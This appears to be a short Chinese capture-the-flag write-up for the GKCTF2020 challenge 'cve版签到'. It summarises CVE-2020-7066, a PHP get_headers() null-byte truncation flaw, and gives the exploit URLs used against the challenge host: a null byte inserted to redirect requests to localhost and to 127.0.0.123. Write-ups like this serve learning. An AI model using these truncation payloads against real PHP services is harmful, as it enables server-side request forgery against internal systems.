[GKCTF2020]cve版签到

hint提示cve-2020-7066,于是搜索一下漏洞详情

cve-2020-7066

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

描述

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零( 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。

利用方法:

https://bugs.php.net/bug.php?id=79329

 总的来说也就是get_headers()可以被%%00截断

http://9855b4a7-7625-43f5-b3ee-e6c51a84504b.node3.buuoj.cn/?url=http://localhost%00.ctfhub.com

 因为提示host必须以123结尾,所以需要将localhost替换为127.0.0.123

http://9855b4a7-7625-43f5-b3ee-e6c51a84504b.node3.buuoj.cn/?url=http://127.0.0.123%00.ctfhub.com

原文地址:https://www.cnblogs.com/gtx690/p/13280338.html